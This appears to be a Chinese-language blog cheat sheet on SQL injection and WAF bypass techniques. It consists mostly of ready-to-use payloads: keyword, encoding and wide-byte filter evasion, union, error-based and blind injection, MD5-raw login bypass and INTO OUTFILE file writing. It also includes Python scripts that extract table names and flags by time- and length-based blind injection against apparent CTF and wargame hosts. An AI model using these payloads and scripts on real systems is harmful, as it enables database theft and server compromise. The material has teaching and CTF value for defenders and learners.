1. 程式人生 > >SQL注入&WAF繞過姿勢

SQL注入&WAF繞過姿勢

1.WAF過濾機制:

1.異常檢測協議–拒絕不符合HTTP標準的請求;
2.增強的輸入驗證–代理和服務端的驗證而不只是限於客戶端驗證;
3.白名單&黑名單機制–白名單適用於穩定的Web應用,黑名單適合處理已知問題;
4.基於規則和基於異常的保護–基於規則更多的依賴黑名單機制基於,基於異常根據系統異常更為靈活;
5.另外還有會話保護、Cookies保護、抗入侵規避技術、響應監視和資訊洩露保護等。

2.WAF繞過姿勢

(1)大小寫繞過

此類繞過不經常使用,但是用的時候也不能忘了它,他原理是基於SQL語句不分大小寫的,但過濾只過濾其中一種。
這裡有道題

(2)替換關鍵字

這種情況下大小寫轉化無法繞過而且正則表示式會替換或刪除select、union這些關鍵字如果只匹配一次就很容易繞過

http://www.xx.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

(3)空格繞過

payload

select/**/*/**/from/**/yz;
select%0a*%0afrom%0ayz; %0a 是回車
/*!select*//*!**//*!from*//*!yz*/;

select(a)from(yz);
select(a)from(yz)where(a=1);

## (4)替換關鍵字
這種情況下大小寫轉化無法繞過而且正則表示式會替換或刪除select、union這些關鍵字如果只匹配一次就很容易繞過

SELselectECT 1,2,3,4 

(5)URL編碼

有時後臺介面會再次URL解碼所以這時可以利用二次編碼解決問題
後臺語句

$insert=$link->query(urldecode($_GET['id']));
$row=$insert->fetch_row();
select * from yz
select * from  %2579%257a

(6)十六進位制繞過(引號繞過)

在SQL語句的資料區域可以採用十六進位制繞過敏感詞彙

select a from yz where b=0x32;
select * from yz where
b=char(0x32);
select * from yz where b=char(0x67)+char(0x75)+char(0x65)+char(0x73)+char(0x74) select column_name from information_schema.tables where table_name="users" select column_name from information_schema.tables where table_name=0x7573657273

(7)逗號繞過

在使用盲注的時候,需要使用到substr(),mid(),limit。這些子句方法都需要使用到逗號。對於substr()和mid()這兩個方法可以使用from to的方式來解決。
substr(),mid()

mid(user() from 1 for 1)
substr(user() from 1 for 1)
select substr(user()from -1) from yz ;
select ascii(substr(user() from 1 for 1)) < 150;

同時也可以利用替換函式
select left(database(),2)>'tf';

limit

selete * from testtable limit 2,1;
selete * from testtable limit 2 offset 1;

(8)比較符(<,>)繞過

同樣是在使用盲注的時候,在使用二分查詢的時候需要使用到比較操作符來進行查詢。如果無法使用比較操作符,那麼就需要使用到greatest,strcmp來進行繞過了。

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
select strcmp(left(database(),1),0x32);#lpad('asd',2,0)
if(substr(id,1,1)in(0x41),1,3)

新學習了一種騷騷的注入姿勢in、between、order by
select * from yz where a in ('aaa');
select substr(a,1,1) in ('a') from yz ;

select * from yz where a between 'a' and 'b';
select * from yz where a between 0x89 and 0x90;

select * from yz union select 1,2,3 order by 1;
也可以用like,根據排列順序進行真值判斷

(9)註釋符繞過

在注入時的註釋符一般為# --當兩者不能用時就不能閉合引號
這裡介紹一個奇淫巧技
select 1,2,3 from yz where '1'/1=(1=1)/'1'='1'
(1=1)中就有了判斷位為下面的注入打下基礎

(10)寬位元組繞過

位元組注入也是在最近的專案中發現的問題,大家都知道%df’ 被PHP轉義(開啟GPC、用addslashes函式,或者icov等),單引號被加上反斜槓\,變成了 %df\’,其中\的十六進位制是 %5C ,那麼現在%df\’ =%df%5c%27,如果程式的預設字符集是GBK等寬位元組字符集,則MySQL用GBK的編碼時,會認為 %df%5c 是一個寬字元,也就是縗’,也就是說:%df\’ = %df%5c%27=縗’,有了單引號就好注入了。

注:`select`防止使用者自定義的名稱和mysql保留字衝突

(11)with rollup

一般結合group by使用

 select 1 as test from  yz group by test with rollup limit 1 offset 1;
+------+
| test |
+------+
| NULL |
+------+

(12)無列名注入

給未知列名起別名
select a from (select 1,2,3aunion select * from yz)v;

(13) 判斷列數繞過

當order by 被過濾後就可以使用into 變數來繞過
select * from yz limit 1,1 into @a,@b,@c;

3.SQL注入知識

1.SQL越界 ,也就是能執行自己的sql語句
2.盲注的話找一個點可以控制兩種不同的反應
3.取資料並做真值判斷
4.寫指令碼暴庫

上邊是基於一般的注入題目的解題步驟,如果有特殊條件也可靈活變通

mysql資料庫元資訊

在mysql中存在information_schema是一個資訊資料庫,在這個資料庫中儲存了Mysql伺服器所儲存的所有的其他資料庫的資訊,如資料庫名,資料庫的表,表的欄位名稱
和訪問許可權。在informa_schema中常用的表有:

schemata:儲存了mysql中所有的資料庫資訊,返回的內容與show databases的結果是一樣的。
tables:儲存了資料庫中的表的資訊。詳細地描述了某個表屬於哪個schema,表型別,表引擎。
show tables from secuiry的結果就是來自這個表
columns:詳細地描述了某張表的所有的列以及每個列的資訊。
show columns from users的結果就是來自這個表

select database(); #查選資料庫
select group_concat(schema_name) from information_schema.schemata
select schema_name from information_schema.schemata limit 0,1  #查詢資料庫
select table_name from information_schema.tables where table_schema=database() limit 0,1;  #查詢表
select column_name from information_schema.columns where table_name='users' limit 0,1;  #查詢列

(1)基本注入方式

得到欄位總數

可以使用order by 函式,也可以直接使用union查詢

select * from yz order by 3;
ERROR 1054 (42S22): Champ '3' inconnu dans order clause

當使用order by 3時程式出錯,那麼select的欄位一共是2個。

得到顯示位

在頁面上會顯示從select中選取的欄位,我們接下來就是要判斷顯示的欄位是哪幾個欄位。使用如下的payload(兩者均可)進行判斷。

id=-1 union select 1,2,3 
id=1 and 1=2 union select 1,2,3

如果是1顯示出來,那麼1就是顯示位

檢視資料庫

union select 1,version(),database()

查選表名

由於database()返回的就是當前web程式所使用的資料庫名,那麼我們就利用database()來查詢所有的表資訊。當然在上一步中。我們也已經知道當前的database就是security。那麼我們構造的payload如下:

 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

查選列名

在知道了表名之後,接下來我們利用information_schema.columns就可以根據表名來獲取當前表中所有的欄位。payload如下:

id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273(users的十六進位制)

檢視資料庫內容

在知道了當前資料庫所有的表名和欄位名之後,接下來我們就可以dump資料庫中所有的資訊了。比如我們下載當前users表中所有的資料。可以使用如下的payload:

id=-1 union select 1,group_concat(username,password),3 from users

(2)報錯注入

  • group by 與 floor rand 函式的報錯

payload

(select count(*) from (select 1 union select 2 union select 3)x group by concat(1,floor(rand(0)*2)))

測試語句

select 1 from yz where (select count(*) from (select 1 union select 2 union select 3)x group by concat(222,floor(rand(0)*2)));

顯示
Duplicata du champ ‘2221’ pour la clef ‘group_key’
在222處存在報錯顯示點,可利用此點進行報錯注入

payload 利用方法 必須使其成為關鍵語句即where的決定權在payload中
例如:

 - where 1=1 and payload
 - where 1=2 or payload
 - where payload

這裡有原理的解釋
- extractvalue
payload

extractvalue(1,concat(0x5c,(select 1)))
extractvalue(1,concat(0x5c,(select 1),0x5c,1))

enter description here
- updatexml
payload

updatexml(1,concat(0x5c,(select 1)),0)
updatexml(1,concat(0x5c,(select 1),0x5c,1),0)

最近又出來了insert update的報錯注入知識點如下
or 注入語句 or
整體式子為
INSERT INTO users (id, username, password) VALUES (2,'' or 注入語句 or'', '');

(3)盲注

一般都是尋找盲注點,找到payload,利用payload
在這裡給出幾個爆破指令碼

import requests
url=r'http://web.jarvisoj.com:32787/login.php'
string=''
dic='0123456789abcdefghijklmnopqrstuvwxyz'
for i in range(1,33):
    for j in dic:
        id="/*'XOR(if(ord((select/**/substr(table_name,{0},1)/**/from/**/information_schema.tables/*!where*/table_schema=database()))={1},sleep(3),0))OR'*/".format(str(i),ord(j))
        data={
            'username':id,
            'password': 1
        }
        print j
        s=requests.post(url=url,data=data)
        sec=s.elapsed.seconds
        if sec > 2:
            string+=j
            break
    print string

import requests
cookies={
        'PHPSESSID': '944d46747cd9059f63dc2e103b2fe31a'
}

dic='3_abcdefghijklmnopqrstuvwxyz'
string = ''
for i in range(1,33):
    for j in dic:
        url='http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 and ord((select substr(table_name,{0},1) from information_schema.tables where table_schema=database())) = {1}'.format(str(i),ord(j))
        s=requests.get(url=url , cookies=cookies)
        content=s.content
        length=len(content)
        print length
        if length > 400 :
            string+=j
            break
    print string 

二分法盲注

# coding:utf-8
import requests
from math import ceil
global string
string = ''

def charge(mid,i):#判斷大小
    url='http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=if(ascii(substr((select group_concat(readme) from chat_log_secret),{0},1))<={1},10000000000,23334)'.format(str(i),str(mid))
    #
    s=requests.get(url=url)
    content=s.content
    length=len(content)
    #print length
    if length > 10 :
        return 0
    else:
        return 1

def dichotomie(l,r,i):#利用二分法查詢

    mid = (l+r)/2
    #print "l and r ,mid:",l,r,mid
    if l == r:
        global string
        string += chr(r)
        print string
        return 0
    if charge(mid,i):#<=
        #print 0
        dichotomie(l,mid,i)
    else:
        #print 1
        dichotomie(int(ceil((l+r)*1.0/2)),r,i)


for i in range(1,100):
    dichotomie(32,127,i)
print string


import requests
cookies={
        'PHPSESSID': 'i6vl5rbtr5r8gsiu5cl6bfi8g7'
}


string = ''
for i in range(1,33):
    for j in range(32,127):
        url='http://202.120.7.197/app.php?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),{},1)like({}),price,name)'.format(str(i),hex(j))
        s=requests.get(url=url , cookies=cookies)
        content=s.content
        if content.find('5') == 102 and '%' != chr(j) :
            string+=chr(j)
            break
    print string 

(4)MD5注入

$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";

md5($password,true)將MD5值轉化為了十六進位制
思路比較明確,當md5後的hex轉換成字串後,如果包含 ‘or’ 這樣的字串,那整個sql變成

SELECT * FROM admin WHERE pass = ''or'6<trash>'

提供一個字串:ffifdyop

(5)order by name 注入

order by name id
id是一個注入點
可以利用if語句進行注入

order by name ,if(1=1,1,select 1 from information_schema.tables)
如果為假則執行第二條語句,要麼報錯要麼沒有返回值。這屬於盲注的一種

(6)運算子注入

select * from yz where a=''^'123'^'12'
select * from yz where a=''^(substr('asd',1,1)<'z')^1;

都可以作為盲注的條件語句

(7)檔案寫入

SQL語句 + INTO OUTFILE ‘\var\www\html\1.txt’

(8) 未知欄位名注入

select c from (select * from yz union select 1,2,3c)x;

(9)空資料延時注入

select * from test where 1 and (select 1 from(select sleep(1))x);